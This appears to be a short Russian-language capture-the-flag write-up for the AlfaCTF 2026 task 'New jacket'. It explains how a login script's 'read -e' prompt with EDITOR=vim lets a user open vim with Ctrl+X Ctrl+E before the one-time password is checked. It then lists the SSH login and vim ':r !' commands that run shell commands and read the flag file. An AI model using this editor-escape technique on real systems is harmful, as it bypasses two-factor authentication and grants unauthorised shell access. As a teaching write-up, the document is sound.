April 26
Новая куртка
CTF: АльфаЦТФ2026
Трек: IT-трек
Автор: mayb3_s0m3t1m3
Категория: Linux / Bash / SSH
Суть: обход 2FA через read -e + $EDITOR=vim
При переходе по ссылке мы увидим страницу, на которой нет ничего, кроме этого:
Обратим внимание на следующие строки:
bashexport EDITOR=/usr/bin/vim
bashread -e -s -r -p 'One-time password: ' otp
Можно увидеть, что 2FA ломается через read -e + EDITOR=vim, потому что можно открыть редактор и выйти в shell до сравнения OTP. Это происходит по причине того, что read -e включает использование readline, а readline, в свою очередь, поддерживает возможность открыть текущий ввод в $EDITOR через нажатие нужной комбинации клавиш.
Эксплуатация
bashssh newjacket-w9gzrloh.alfactf.ru -l newjacket
bashssh -p2244 newjacket@alfactf.ru
Появится ввод One-time password:
Ctrl+X → Ctrl+E
Внутри vim вводим следующую последовательность команд:
r !ls -la /
r !ls -la /home
r !ls -la /home/newjacket
r !cat /home/newjacket/flag.txt